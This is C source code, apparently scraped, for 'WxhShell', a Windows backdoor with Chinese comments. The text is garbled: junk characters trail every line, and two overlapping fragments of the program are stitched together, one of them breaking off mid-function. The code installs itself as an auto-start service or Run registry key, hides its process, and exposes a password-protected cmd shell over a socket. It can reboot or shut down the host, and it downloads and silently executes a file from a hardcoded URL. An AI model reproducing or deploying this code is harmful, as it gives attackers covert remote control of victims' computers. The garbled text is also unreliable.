    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); #L+s%OJ`  
    if(Boot(SHUTDOWN)) Wpg?%+Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ggYIq*4  
    else { bj* v'  
    closesocket(wsh); Liz 6ob  
    ExitThread(0); =f{Z~`3  
    } \-`oFe"  
    break; jy)9EU=  
    } =tvm=  
  // 获取shell 0I AaPz/e  
  case 's': { 5G]#'tu  
    CmdShell(wsh); (*^E7 [w  
    closesocket(wsh); wxr}*Z:ZMa  
    ExitThread(0); h.+,*9T\  
    break; Wf&G9Be?8  
  } b^=8%~?%4  
  // 退出 Lu$:,^ C  
  case 'x': { 4j=@}!TBt  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X|QX1dl  
    CloseIt(wsh); oq m{<g?2  
    break; B'#gs'fl  
    } J~ gkGso  
  // 离开 m`4j|5  
  case 'q': { u BW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !C)>  
    closesocket(wsh); *IfIRR>3l(  
    WSACleanup(); ]a@v)aa-  
    exit(1); t+Tg@~K2[>  
    break; #$ raUNr  
        } B2+_F"<;  
  } Jut'xA2Dr  
  } Z;> aW;Wt  
(V |q\XS  
  // 提示信息 Dqo:X`<bT  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qm&53  
} XajY'+DIsz  
  } w}KcLaI  
',-X#u  
  return; &G5I0:a   
} j?` D\LZhf  
C@:N5},]  
// shell模块句柄 xVmUmftD  
int CmdShell(SOCKET sock) '2B0D|r"a  
{ ZI:d&~1i1  
STARTUPINFO si; ,2L,>?r6  
ZeroMemory(&si,sizeof(si)); 3 mMdq*X5  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; iegPEb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; } jy7,+  
PROCESS_INFORMATION ProcessInfo; }lbx  
char cmdline[]="cmd"; j1C0LP8  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i3\oy`GJ  
  return 0; !c;p4B)  
} R5YtCw]i=  
P_}_D{G  
// 自身启动模式 \$++.%0  
int StartFromService(void) \>CBam8d  
{ SodW5v a  
typedef struct :zTj"P>"I  
{ (IWd?,H,n  
  DWORD ExitStatus; Z|7I }i  
  DWORD PebBaseAddress; >L3p qK   
  DWORD AffinityMask; ZX RN?b  
  DWORD BasePriority; ~1z8G>R  
  ULONG UniqueProcessId; {:!SH6 ff  
  ULONG InheritedFromUniqueProcessId; -^%"w  
}   PROCESS_BASIC_INFORMATION; cF6@.)  
_!T$|,a  
PROCNTQSIP NtQueryInformationProcess; O4+w2'.,  
  rs KE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %x)U8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [&59n,R`  
Z\yLzy#8  
  HANDLE             hProcess; (W6\%H2u  
  PROCESS_BASIC_INFORMATION pbi; 5_T>HHR 6  
HCCp<2D"C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ojI"<Q~g  
  if(NULL == hInst ) return 0; 7 @Qlp$[F  
W5yu`Br  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); y")>"8H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w4/)r-Z4I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {;gWn' aq  
ph.:~n>z  
  if (!NtQueryInformationProcess) return 0; 0md{e`'q:  
z~;qDf|I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); w9}IM149  
  if(!hProcess) return 0; n_ gB#L$  
@)Y7GM+^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Cd*C^cJU&z  
"s^@PzQpN  
  CloseHandle(hProcess); */qc%!YV9  
xL#oP0d<e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); LA3,e (e  
if(hProcess==NULL) return 0; 0pG(+fN_9  
7E t(p'  
HMODULE hMod; %6?}gc_  
char procName[255]; $G.|5sEk  
unsigned long cbNeeded; 9%veUvY  
eesLTy D2_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =?x=CEW  
-i gZU>0B_  
  CloseHandle(hProcess); e/%Y ruzS  
FC .-u"V  
if(strstr(procName,"services")) return 1; // 以服务启动 6<O]_HZ&  
O  
  return 0; // 注册表启动 TUCp mj  
} f4^_FK&  
1a4$. {  
// 主模块 :O=Vr]Y8K  
int StartWxhshell(LPSTR lpCmdLine) l0o_C#"<S  
{ WWs>@lCK  
  SOCKET wsl; a_j#l(] 9  
BOOL val=TRUE; M#,+p8  
  int port=0; iIRigW  
  struct sockaddr_in door; "Vy\- ^  
z<XS"4l?W  
  if(wscfg.ws_autoins) Install(); 1@Gv`{v  
%ua5T9H Z  
port=atoi(lpCmdLine); @1X1E 2:  
=i<(hgD  
if(port<=0) port=wscfg.ws_port; *Ux"3IXO  
VUhu"h@w%  
  WSADATA data; .w"O/6."  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J> |`  
yx4c+(J^8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   >eI(M $  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Ue%5 :Sdr  
  door.sin_family = AF_INET; ,]' !2?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~<-h# B  
  door.sin_port = htons(port); YkbLf#2AE|  
~Y[b QuA=)  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Ml ^Tb#  
closesocket(wsl); "=O)2}  
return 1; 3iwZUqyq  
} 4Yk (ldR~  
*8+YR  
  if(listen(wsl,2) == INVALID_SOCKET) { w?"l4.E%  
closesocket(wsl); h<q``hn>  
return 1; Gd 9B  
} $'wl{D"  
  Wxhshell(wsl); c7 -j  
  WSACleanup(); P@ u%{  
Vh&KfYY  
return 0; \U8Vsx1tl  
*a4eL [  
} Z]CH8GS~<  
L x&ZWF$  
// 以NT服务方式启动 Vy VC#AK,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nz+KA\iW  
{ 75ob1h"  
DWORD   status = 0; `MS=/xE  
  DWORD   specificError = 0xfffffff; ^} #!?" Y  
)k Uw,F=6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,GlK_-6>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; A>k;o0r  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; J!>oC_0]8  
  serviceStatus.dwWin32ExitCode     = 0; J %t1T]y~  
  serviceStatus.dwServiceSpecificExitCode = 0; Bc@e;k@i  
  serviceStatus.dwCheckPoint       = 0; P^ VNB  
  serviceStatus.dwWaitHint       = 0; a;sZNUSn  
J(]nPwm=.-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .N2Yxty8>  
  if (hServiceStatusHandle==0) return; {cFei3'q  
6=k^gH[g  
status = GetLastError(); k-/$8C  
  if (status!=NO_ERROR) PE>_;k-@k  
{ IYFA>*Es  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; L.'N'-BV  
    serviceStatus.dwCheckPoint       = 0; zc#`qa:0  
    serviceStatus.dwWaitHint       = 0; kW9STN  
    serviceStatus.dwWin32ExitCode     = status; P:+:Cm<  
    serviceStatus.dwServiceSpecificExitCode = specificError; @\a- =  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `:&{/|uP7  
    return; Q\Eq(2p  
  } m,b<b91  
?5D7n"jY  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rm7UFMCR6i  
  serviceStatus.dwCheckPoint       = 0; xnTky1zq  
  serviceStatus.dwWaitHint       = 0; s] qfLC  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (~~=<0S  
} N'StT$(  
6=FuH@Q&  
// 处理NT服务事件,比如:启动、停止 iDA`pemmi&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jB;+tDC!Co  
{ AWzpk }\  
switch(fdwControl) 0IZV4{  
{ |N*>K a;  
case SERVICE_CONTROL_STOP: )L?Tq"hy  
  serviceStatus.dwWin32ExitCode = 0; 711 z-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; nz(OHh!}u  
  serviceStatus.dwCheckPoint   = 0; Ok@5`?08  
  serviceStatus.dwWaitHint     = 0; AG?oA328  
  { VC@o]t5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @AwH?7(b  
  } Ez )Go6Q  
  return; g!8-yri  
case SERVICE_CONTROL_PAUSE: A 6d+RAx  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; e :#\Oh  
  break; a?;{0I:Ln  
case SERVICE_CONTROL_CONTINUE: mxIEg?r(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^l9S5 {  
  break; `7LdF,OdE  
case SERVICE_CONTROL_INTERROGATE: W<2-Q,>Y  
  break; \<5xf<{  
}; tP\Utl-0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8WvT0q>]  
} 8yd OS  
~HELMS~-  
// 标准应用程序主函数 f-Sb:O!V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (efH>oY[  
{ cj[y]2{1h  
>7n(* M  
// 获取操作系统版本 uwbj`lpf  
OsIsNt=GetOsVer(); ` p)#!  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @'S-nn,sO  
d-Sm<XHu.  
  // 从命令行安装 U@9n 7F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6wGf47  
{AZW."?  
  // 下载执行文件 wm}i+ApK  
if(wscfg.ws_downexe) { xd* kNY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @A:Xct  
  WinExec(wscfg.ws_filenam,SW_HIDE); <+6)E@Y  
} rIXAn4,dTv  
WPPmh~:  
if(!OsIsNt) { O@l`D`  
// 如果时win9x,隐藏进程并且设置为注册表启动 Agl[Z>Q  
HideProc(); 4u<oe_n  
StartWxhshell(lpCmdLine); >Zr`9$i  
} Uu G;z5  
else Ij" `pdp  
  if(StartFromService()) us/x.qPy2  
  // 以服务方式启动 [g<JP~4]  
  StartServiceCtrlDispatcher(DispatchTable); #{0c01JZ  
else MQhL>oQ  
  // 普通方式启动 8^O|Aa$IF:  
  StartWxhshell(lpCmdLine); HH>]"mv  
rwU[dqBRhc  
return 0; mX %;  
} Mq$e5&/  
xC|7"N^/  
<h(tW  
s{gdTG6v`  
=========================================== Up8#Nz T  
+YP,LDJ!v  
=>4,/g3  
KX{S8_  
<CeDIX t  
9'}m797I'  
" p 5P<3(  
*vht</?J  
#include <stdio.h> "S1+mSW>  
#include <string.h> @;pTQ 5 I  
#include <windows.h> g,\<fY+ 4  
#include <winsock2.h> ?L'ijzP  
#include <winsvc.h> uA,K}sNRZ  
#include <urlmon.h> R`Q9|yF\  
!}U&%2<69  
#pragma comment (lib, "Ws2_32.lib") A07FjT5w8  
#pragma comment (lib, "urlmon.lib") &Jq?tnNd  
f.Jz]WXw,  
#define MAX_USER   100 // 最大客户端连接数 rqifjsv  
#define BUF_SOCK   200 // sock buffer \T>f+0=4  
#define KEY_BUFF   255 // 输入 buffer !YCYmxw#  
LvB-%@n  
#define REBOOT     0   // 重启 eQA89 :j,  
#define SHUTDOWN   1   // 关机 wuI+$?  
hmQD-E{Ab  
#define DEF_PORT   5000 // 监听端口 =Bl#CE)X  
7|*|xLrVY  
#define REG_LEN     16   // 注册表键长度 +tl&Jjdm  
#define SVC_LEN     80   // NT服务名长度 bq]af.o*  
F?3a22Zg#  
// 从dll定义API *joM[ML` 6  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); t-e:f0iz  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); flnoK%wi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /&a[D 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m%ak]rv([  
njX!Ez  
// wxhshell配置信息 )~s(7 4`}  
struct WSCFG { 7\<#z|  
  int ws_port;         // 监听端口 q8`JRmt)H  
  char ws_passstr[REG_LEN]; // 口令 \ c9EE-  
  int ws_autoins;       // 安装标记, 1=yes 0=no &?v^xAr?B  
  char ws_regname[REG_LEN]; // 注册表键名 Y ~xcJH  
  char ws_svcname[REG_LEN]; // 服务名 u<:R Sg  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M{Wla 7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 mK fT4t  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y}Y2 Vx  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7C F-?M!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" y.HE3tH  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >^{}Hjt  
uv eTx  
}; 5e6f)[}  
ZU5hHah.t  
// default Wxhshell configuration /V^Gn;  
struct WSCFG wscfg={DEF_PORT, 8N'[ )Jw  
    "xuhuanlingzhe", PH^AT<U:T  
    1, i.C+{QH  
    "Wxhshell", \IQf|  
    "Wxhshell", h:}oUr8   
            "WxhShell Service", p$0G EYwM  
    "Wrsky Windows CmdShell Service", N[~ RWg  
    "Please Input Your Password: ", De6WC*trq  
  1, q{nNWvL  
  "http://www.wrsky.com/wxhshell.exe", C5c@@ch :  
  "Wxhshell.exe" sFsp`kf  
    }; \GO^2&g(  
_Y?p =;  
// 消息定义模块 KC[ql}JP  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }.>( [\ q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _8v8qT}O~4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; !uLz%~F  
char *msg_ws_ext="\n\rExit."; `qbf_;\  
char *msg_ws_end="\n\rQuit."; +mIO*UQi  
char *msg_ws_boot="\n\rReboot..."; |@`F !bnLr  
char *msg_ws_poff="\n\rShutdown..."; &!SdO<agZ  
char *msg_ws_down="\n\rSave to "; @G@,)`p4?  
4V@raI-  
char *msg_ws_err="\n\rErr!"; d="Oge8  
char *msg_ws_ok="\n\rOK!"; -~n^?0  
rVB,[4N  
char ExeFile[MAX_PATH]; 9~/k25P  
int nUser = 0; o$)pJ#";F  
HANDLE handles[MAX_USER]; 9)9p<(b $  
int OsIsNt; fkbHfBp[(A  
?Z 9C}t]  
SERVICE_STATUS       serviceStatus; [H<![Z1*r  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; >slD.rb]  
P MV;A{T  
// 函数声明 @~,&E*X! .  
int Install(void); !W4A 9Th  
int Uninstall(void); c5C 2xE}T  
int DownloadFile(char *sURL, SOCKET wsh); jM]B\cvN  
int Boot(int flag); TwJiYXHw?  
void HideProc(void); iI\ bD  
int GetOsVer(void); $a.fQ<,\X  
int Wxhshell(SOCKET wsl); dCc"Qr[k  
void TalkWithClient(void *cs); JcV'O)&  
int CmdShell(SOCKET sock); X67^@~l  
int StartFromService(void); =;A p+}  
int StartWxhshell(LPSTR lpCmdLine); N1/)F k-z  
. 7*k}@k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @-ps[b`z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3>asl54  
H2[VZ&Pg  
// 数据结构和表定义 p)2 !_0  
SERVICE_TABLE_ENTRY DispatchTable[] = W}jel}:  
{ w{TZN{Y  
{wscfg.ws_svcname, NTServiceMain}, }.*"ezaZw  
{NULL, NULL} 9n9Z  
}; &BTgISYi  
wzX(]BG  
// 自我安装  ja!K2^  
int Install(void) 3kqO5+,C  
{ "}ibH{$lM  
  char svExeFile[MAX_PATH]; v3\ |  
  HKEY key; d?[gd(O  
  strcpy(svExeFile,ExeFile); tV.qdy/]}  
ufl[sj%^|  
// 如果是win9x系统,修改注册表设为自启动 p6S{OUiG  
if(!OsIsNt) { +\Uq=@  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n92*:Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >I*)0tE  
  RegCloseKey(key); E3hql3=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6="Qwrk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); n $Nb,/o  
  RegCloseKey(key); a9LK}xc={  
  return 0; ?OjZb'+=K  
    } J:D{5sE<|  
  } s|HpN  
} B8Vhl:p  
else {  vNWCv  
@~p;.=1]F  
// 如果是NT以上系统,安装为系统服务 ??5y0I6+  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~t=73 fwB  
if (schSCManager!=0) =:fN  
{ dlv1liSXL5  
  SC_HANDLE schService = CreateService |NMf'$  
  ( lKVV*RR}  
  schSCManager, 4e`GMtp  
  wscfg.ws_svcname, r< MW8  
  wscfg.ws_svcdisp, 9N[(f-`  
  SERVICE_ALL_ACCESS, o,NTI h  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vM3 b\yp  
  SERVICE_AUTO_START, yV.E+~y  
  SERVICE_ERROR_NORMAL, U~CG(9  
  svExeFile, ;bYS#Bid{V  
  NULL, n3z]&J5fr  
  NULL, ) t#>fnN  
  NULL, VsU*yG a  
  NULL, p[LPi5  
  NULL ^WF/gup\hS  
  ); Z:(Zy  
  if (schService!=0) C(Cuk4K  
  { u=QG%O#B  
  CloseServiceHandle(schService); Qr.SPNUFK  
  CloseServiceHandle(schSCManager); MA`.&MA.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }+@GgipyO.  
  strcat(svExeFile,wscfg.ws_svcname); 9B)<7JJX!J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HpKF7oJ'N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `*Ju0)g1  
  RegCloseKey(key); D[H #W[  
  return 0; N+N98~Y`P  
    } F`Ld WA  
  } %|izt/B  
  CloseServiceHandle(schSCManager); ,@Fde=Lw  
} [,a2A  
} O3JBS^;V2  
b'O>qQ  
return 1; b[/uSwvi  
} bC h  
-dyN Ah?=  
// 自我卸载 FW@(MIH  
int Uninstall(void) VN/v]  
{ Y=5}u&\   
  HKEY key; Ze.\<^-t  
)`z{T  
if(!OsIsNt) { $ S'~UbmYU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Dg=!d)\  
  RegDeleteValue(key,wscfg.ws_regname); i-FsA  
  RegCloseKey(key); +1pY^#A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I xk+y?  
  RegDeleteValue(key,wscfg.ws_regname); \- f^C}m  
  RegCloseKey(key); `JAM]qB"  
  return 0; !;, Dlq-}  
  } PdD,~N#  
} =}K"@5J  
} vuoD~=z  
else { b haYbiX?  
TbQ5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *l.tsICmbP  
if (schSCManager!=0) E[a|.lnV  
{ b[Qe} `W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); iXPe  
  if (schService!=0) (x!Tb2mlk  
  { H"vkp~u]I  
  if(DeleteService(schService)!=0) { |r<#>~*  
  CloseServiceHandle(schService); -d)+G%{  
  CloseServiceHandle(schSCManager); [))TL  
  return 0; MO%kUq|pg  
  } \r`><d  
  CloseServiceHandle(schService); SCL8.%z D  
  } [X^Oxs  
  CloseServiceHandle(schSCManager); I3hN7  
} y!u=]BE  
} 6F:< c  
lO/?e!$  
return 1; PBOZ^%k  
} U-ADdO h"q  
TfnBPO  
// 从指定url下载文件 v[XTH 2  
int DownloadFile(char *sURL, SOCKET wsh) ,LodP%%UV  
{ 4apaUP=Jp  
  HRESULT hr; 0^9%E61YR  
char seps[]= "/"; :lE_hY  
char *token; )cV*cDL1j  
char *file; m&a 8/5  
char myURL[MAX_PATH]; Kd!.sB/%  
char myFILE[MAX_PATH]; rv<_'yj  
Yaix\*II  
strcpy(myURL,sURL); &rfl(&\oUi  
  token=strtok(myURL,seps); jBMGm"NE  
  while(token!=NULL) uA;vW\fHr  
  { nh]}KFO h  
    file=token; T*{nf  
  token=strtok(NULL,seps); b]6@ O8  
  } HY2*5 #T  
yllEg9L0z  
GetCurrentDirectory(MAX_PATH,myFILE); 9 $*O^  
strcat(myFILE, "\\"); C @nA*  
strcat(myFILE, file); 9/#?]LJ  
  send(wsh,myFILE,strlen(myFILE),0); 1"wZ [.  
send(wsh,"...",3,0); "ph<V,lg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); y Q-{ CJ,  
  if(hr==S_OK) <^da-b>C  
return 0; +x]3 - s  
else FH)_L1n  
return 1; H&So Vi_V  
^`?M~e2FZ8  
} d#1yVdqRl  
Ox%p"xuP,  
// 系统电源模块 h>"j!|#!s  
int Boot(int flag) ac!!1lwA  
{ @0 #JY:"  
  HANDLE hToken; GyF  
  TOKEN_PRIVILEGES tkp; _b"K,[0o  
!:wA\mAd  
  if(OsIsNt) { sc&u NfJ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); W 9!K~g_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^m ['VK#?  
    tkp.PrivilegeCount = 1; n?:%>Os$  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L%HFsuIO-  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .]YTS  
if(flag==REBOOT) { 4o|<zn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^v5<*uf%m  
  return 0; #HTq \J!  
} Tfp^h~&u  
else { u'; 9zk/$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J%FF@.)k  
  return 0; i:60|ngK  
} B}+li1k  
  } "A]#KTP  
  else { } 89-U  
if(flag==REBOOT) { k}0b7er=R  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {s>V'+H(F  
  return 0; "\+.S]~  
} 4'5|YGQj  
else { hsHbT^Qm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) fS$;~@p  
  return 0; [`kk<$=,&  
} $38)_{  
} z/,&w_8,:  
JbAmud,  
return 1; m "96%sB  
} IU;a$  
"0 $UnR  
// win9x进程隐藏模块 DY\~O  
void HideProc(void) 8"}8Nrb0  
{ ' eh }t  
C6'K)P[p  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %-woaj   
  if ( hKernel != NULL ) 1:!H`*DU&  
  { MK(~  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [\qclW;L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3EHB~rL/C  
    FreeLibrary(hKernel); '+\t,>nRkl  
  } 2ck0k,WP  
G#fF("Ndu`  
return; l5#SOo\  
} wC?$P  
qrf90F)  
// 获取操作系统版本 x\oSD1t,  
int GetOsVer(void) zpjE_|  
{ ~jzjJ&O&  
  OSVERSIONINFO winfo; V8#NXU g<!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {1gT{2/~@  
  GetVersionEx(&winfo); G6dUm_iB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) qw 03]a  
  return 1; J0Gjo9L  
  else ~+C)0Yn  
  return 0; "W~vSbn7  
} f] _'icP  
k{H7+;_  
// 客户端句柄模块 Cu!]-c{  
int Wxhshell(SOCKET wsl) _+X-D9j(l  
{ THARr#1b};  
  SOCKET wsh; [+_>g4M~%  
  struct sockaddr_in client; bz}-[W+  
  DWORD myID; I1 Otu~%d  
bjo} 95  
  while(nUser<MAX_USER) >g m  
{ G\o9mEzQ  
  int nSize=sizeof(client); TbaZFLr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); d8iq9AP\o  
  if(wsh==INVALID_SOCKET) return 1; 53 -O wjpx  
|Sm/s;&c6  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); #;f50j!r  
if(handles[nUser]==0) B$n1 k 45  
  closesocket(wsh); .)SR3?   
else '4SDAa2f  
  nUser++; l6 L?jiTl_  
  } 2$ &B@\WY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); " :f]egq -  
\Hdsy="Dnh  
  return 0; k?$I4&|5Nt  
} k<5g  
G{I),Y~IF  
// 关闭 socket 3)OQgeKU  
void CloseIt(SOCKET wsh) <uxLG;R  
{ r?IBmatK/  
closesocket(wsh); YRo,wsj  
nUser--; a9UXg< 4  
ExitThread(0); 'u E;8.,  
} 4v`IAR?&K;  
8NiR3*1  
// 客户端请求句柄 tJybR"NQ  
void TalkWithClient(void *cs) RWGf]V]6  
{ *\(z"B  
|-)8=QDz)r  
  SOCKET wsh=(SOCKET)cs; yYaoA/0  
  char pwd[SVC_LEN]; O=;jDWE  
  char cmd[KEY_BUFF]; :PtZKt;~X  
char chr[1]; r fzNw  
int i,j; z DU=2c4W9  
,uAp;"YJeV  
  while (nUser < MAX_USER) { y$_@C8?H  
(0B?OkQ  
if(wscfg.ws_passstr) { Xjkg7p,HD@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); XbqMWQN*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); c!_c, vwrn  
  //ZeroMemory(pwd,KEY_BUFF); T N1pg  
      i=0; fCwE1r*^  
  while(i<SVC_LEN) { fx(h fz  
NcP/W>lN  
  // 设置超时 4(|yl^w  
  fd_set FdRead; :8!RGtn  
  struct timeval TimeOut; ICvV}%d  
  FD_ZERO(&FdRead); z9*e%$+S  
  FD_SET(wsh,&FdRead); s2#Ia>5!  
  TimeOut.tv_sec=8; ]%)<9 ]}  
  TimeOut.tv_usec=0; #{vC =m73  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Rd&DH_<+^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); BBRL _6  
Z*q9vX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @phVfP"M  
  pwd=chr[0]; G[A3H> >  
  if(chr[0]==0xd || chr[0]==0xa) { e=WjFnK[x7  
  pwd=0; )@X0'X<  
  break; ;Mup@)!j  
  } sl `jovT[Y  
  i++; USEb} M`  
    } iN[x *A|h  
B*,)@h  
  // 如果是非法用户,关闭 socket V`1,s~"q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;~EQS.Qp  
} D2?H"PH  
?9kC[4G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3o%vV*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .VCY|KZ  
_r*\ BM8y  
while(1) { Y @p<f5[c  
M'PZ{6;  
  ZeroMemory(cmd,KEY_BUFF); ]x r0]  
UowvkVa  
      // 自动支持客户端 telnet标准   motK}G  
  j=0; [mA-sl]  
  while(j<KEY_BUFF) { Gv_~@MN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O\ZC$XF  
  cmd[j]=chr[0]; ];OvV ,*  
  if(chr[0]==0xa || chr[0]==0xd) { d )O^(y1r  
  cmd[j]=0; 7C|!Wno[;  
  break; ( Jk& U8y  
  } AJbCC  
  j++; sD:o 2(G*  
    } x#J9GP.  
#wI}93E  
  // 下载文件 LE\=Y;%  
  if(strstr(cmd,"http://")) { Uj):}xgi'  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N/bOl~!y  
  if(DownloadFile(cmd,wsh)) V4n~Z+k  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); H#~gx_^U  
  else  USV DDqZ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :A8}x=K  
  } @>)VQf8s1  
  else { ; oyV8P$  
